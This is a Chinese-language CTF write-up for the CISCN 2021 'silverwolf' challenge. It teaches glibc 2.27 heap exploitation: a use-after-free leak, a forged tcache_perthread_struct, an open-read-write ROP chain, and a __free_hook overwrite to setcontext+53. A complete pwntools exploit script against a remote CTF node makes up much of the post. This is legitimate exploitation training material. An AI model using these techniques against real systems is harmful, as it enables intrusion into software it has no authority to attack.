0%

初识setcontext

glibc2.27版本下的setcontext入门

例题为[CISCN 2021 初赛]silverwolf

前置知识

tcache_perthread_struct

关于tcache_perthread_struct在堆中是这样的,在有tcache的libc版本中,会生成一个tcache结构体,大小为0x240

内容如下,counts代表了各个大小的堆块的数量,entries代表了每个不同大小堆块的链表头

从heap_base + 0x10 开始,前0x40个字节分别代表了 0x20-0x410 0x40个不同大小堆块的数量,这也说明了为什么tcache中能存放的最大堆块是0x408

比如从heap_base + 0x10的前16个字节,分别代表了0x20到0x110大小的堆块的数量,对应着下图

从heap_base + 0x10 + 0x40 开始,就是每个堆链的头地址

2024.7.15补充

今天在做题的时候碰到tcache大小0x280的情况,调试后发现,其实就是将上面0x240的tcache结构体表示 不同堆块 的大小的数据结构由 1个字节 变为 2个字节,然后存储heap链表头的地址就变成了 heap_base + 0x10 + 0x80

setcontext

在 setcontext+53的地方,通过设置rdi的值,可以修改除了rax外的所有寄存器,但是在glibc2.29开始,rdi变为了rdx,利用会更加困难,这里先留个空,以后再填上

在本题中,通过将[rdi+0xa0]设置为ROP的起始地址,赋值给rsp,利用ret指令控制rip执行ROP

uaf泄露heap基址

1
2
3
4
5
add(0x78)
free()
show()
ru(b'Content: ')
heap_base = u64(r(6).ljust(8,b'\x00')) - 0x11b0

伪造tcache_perthread_struct

通过伪造tcache_perthread_struct中堆块的个数,将记录大小为0x240的堆块的个数修改为7,并释放tcache_perthread_struct结构体,使其进入unsortbin泄露libc地址

1
2
3
4
5
6
7
8
9
edit(p64(heap_base+0x10))
add(0x78)
add(0x78)
edit(b'\x00'*0x23+b'\x07') # 0x240

free()
show()
ru(b'Content: ')
libc_base = u64(r(6).ljust(8,b'\x00')) - 0x3ebca0

gadgets

1
2
3
4
5
6
pop_rdi = 0x00000000000215bf + libc_base
pop_rsi = 0x0000000000023eea + libc_base
pop_rdx = 0x0000000000001b96 + libc_base
pop_rax = 0x0000000000043ae8 + libc_base
syscall = 0x00000000000d2745 + libc_base
ret = 0x00000000000008aa + libc_base

这里学到了一个细节,当用ROPgadget查找syscall指令时,某些地址上的syscall指令的下一条指令并不是ret,而当我们编写的ROP执行了这个syscall指令时,因为没有ret,所以rip并不会返回我们的ROP,所以ROP就没办法继续往下执行,而ROPgadget这个工具没办法查询”syscall ; ret”这种指令

查找方法:

在ida中 ALT+B 输入 0f 05 c3 即可查找 syscall ; ret 指令

orw ROP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
orw = p64(pop_rdi) + p64(flag)
orw += p64(pop_rsi) + p64(0)
orw += p64(pop_rax) + p64(2)
orw += p64(syscall)

orw += p64(pop_rdi) + p64(3)
orw += p64(pop_rsi) + p64(heap_base + 0x4000)
orw += p64(pop_rdx) + p64(0x30)
orw += p64(pop_rax) + p64(0)
orw += p64(syscall)

orw += p64(pop_rdi) + p64(1)
orw += p64(pop_rsi) + p64(heap_base + 0x4000)
orw += p64(pop_rdx) + p64(0x30)
orw += p64(pop_rax) + p64(1)
orw += p64(syscall)

这里的话可以把

1
2
orw += p64(pop_rax) + p64(0)
orw += p64(syscall)

写成

1
orw += p64(read)

read直接用libc查找就可以了,这样可以减少ROP的长度

布置payload

pd前40个字节就是各个大小堆块的数量,直接填充0即可,然后就到了堆的链表头,覆盖为如下的地址后即即可实现任意地址写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
setcontext = libc.sym['setcontext'] + 53 + libc_base
free_hook = libc.sym['__free_hook'] + libc_base

flag = heap_base + 0x1000
stack_1 = heap_base + 0x2000
stack_2 = heap_base + 0x20a0
orw_1 = heap_base + 0x3000
orw_2 = heap_base + 0x3060

pd = b'\x00' * 0x40
pd += p64(free_hook) # 0x20
pd += p64(flag) # 0x30
pd += p64(0) # 0x40
pd += p64(stack_1) # 0x50
pd += p64(stack_2) # 0x60
pd += p64(orw_1) # 0x70
pd += p64(orw_2) # 0x80

edit(pd)

申请0x10大小的堆块,将__free_hook修改为setcontext,往下同理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
add(0x10)
edit(p64(setcontext))

add(0x20)
edit(b'./flag')

add(0x50)
edit(p64(orw_1)+p64(ret))

add(0x60)
edit(orw[:0x60])

add(0x70)
edit(orw[0x60:])

add(0x40)
free()

当free执行后,rdi会指向free的堆块,并执行setcontext,此时rdi的值就是stack_1,而rdi+0xa0 就是 stack_2,执行 setcontext 后,

就是将stack_2中存储的值赋值给rsp,stack_2中存储着orw_1,此时rsp中就是orw_1,利用ret指令将其赋值给rip,然后rip就开始执行ROP了

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
from pwn import *
context.arch = 'amd64'
#context.log_level = 'debug'
context.terminal = ['gnome-terminal', '-e']
local_file = '/home/feichai/ctf_file/silverwolf'
elf=ELF(local_file)
local_libc = '/home/feichai/ctf_file/libc-2.27.so'
libc=ELF(local_libc, checksec = False)

def start():
if args.GDB:
gdbscript = '''
b *$rebase(0x001234)
'''
io = process(local_file)
gdb.attach(io, gdbscript)
elif args.PROCESS:
io = process(local_file)
else:
io = remote("node4.anna.nssctf.cn",28997)

return io

def lg(s, addr):
return info(f'\033[1;33m{f"{s}-->0x{addr:02x}"}\033[0m')

r = lambda a: io.recv(a)
ru = lambda a: io.recvuntil(a)
s = lambda a: io.send(a)
sa = lambda a,b: io.sendafter(a,b)
sl = lambda a: io.sendline(a)
sla = lambda a,b: io.sendlineafter(a,b)

io = start()

def choice(index):
sla('Your choice:',str(index))

def add(size):
choice(1)
sla('Index:',str(0))
sla('Size:',str(size))

def edit(content):
choice(2)
sla('Index:',str(0))
sla('Content:',content)

def show():
choice(3)
sla('Index:',str(0))

def free():
choice(4)
sla('Index:',str(0))

def exit_():
choice(5)

def exp():

add(0x78)
free()
show()

ru(b'Content: ')
heap_base = u64(r(6).ljust(8,b'\x00')) - 0x11b0
lg('heap_base',heap_base)

edit(p64(heap_base+0x10))
add(0x78)
add(0x78)
edit(b'\x00'*0x23+b'\x07') # 0x240

free()
show()
ru(b'Content: ')
libc_base = u64(r(6).ljust(8,b'\x00')) - 0x3ebca0
lg('libc_base',libc_base)

pop_rdi = 0x00000000000215bf + libc_base
pop_rsi = 0x0000000000023eea + libc_base
pop_rdx = 0x0000000000001b96 + libc_base
pop_rax = 0x0000000000043ae8 + libc_base
syscall = 0x00000000000d2745 + libc_base
ret = 0x00000000000008aa + libc_base

setcontext = libc.sym['setcontext'] + 53 + libc_base
free_hook = libc.sym['__free_hook'] + libc_base

flag = heap_base + 0x1000
stack_1 = heap_base + 0x2000
stack_2 = heap_base + 0x20a0
orw_1 = heap_base + 0x3000
orw_2 = heap_base + 0x3060

orw = p64(pop_rdi) + p64(flag)
orw += p64(pop_rsi) + p64(0)
orw += p64(pop_rax) + p64(2)
orw += p64(syscall)

orw += p64(pop_rdi) + p64(3)
orw += p64(pop_rsi) + p64(heap_base + 0x4000)
orw += p64(pop_rdx) + p64(0x30)
orw += p64(pop_rax) + p64(0)
orw += p64(syscall)

orw += p64(pop_rdi) + p64(1)
orw += p64(pop_rsi) + p64(heap_base + 0x4000)
orw += p64(pop_rdx) + p64(0x30)
orw += p64(pop_rax) + p64(1)
orw += p64(syscall)

pd = b'\x00' * 0x40
pd += p64(free_hook) # 0x20
pd += p64(flag) # 0x30
pd += p64(0) # 0x40
pd += p64(stack_1) # 0x50
pd += p64(stack_2) # 0x60
pd += p64(orw_1) # 0x70
pd += p64(orw_2) # 0x80

edit(pd)

add(0x10)
edit(p64(setcontext))

add(0x20)
edit(b'./flag')

add(0x50)
edit(p64(orw_1)+p64(ret))

add(0x60)
edit(orw[:0x60])

add(0x70)
edit(orw[0x60:])

add(0x40)
free()

io.interactive()

if __name__=='__main__':
exp()
-------------本文结束感谢您的阅读-------------

欢迎关注我的其它发布渠道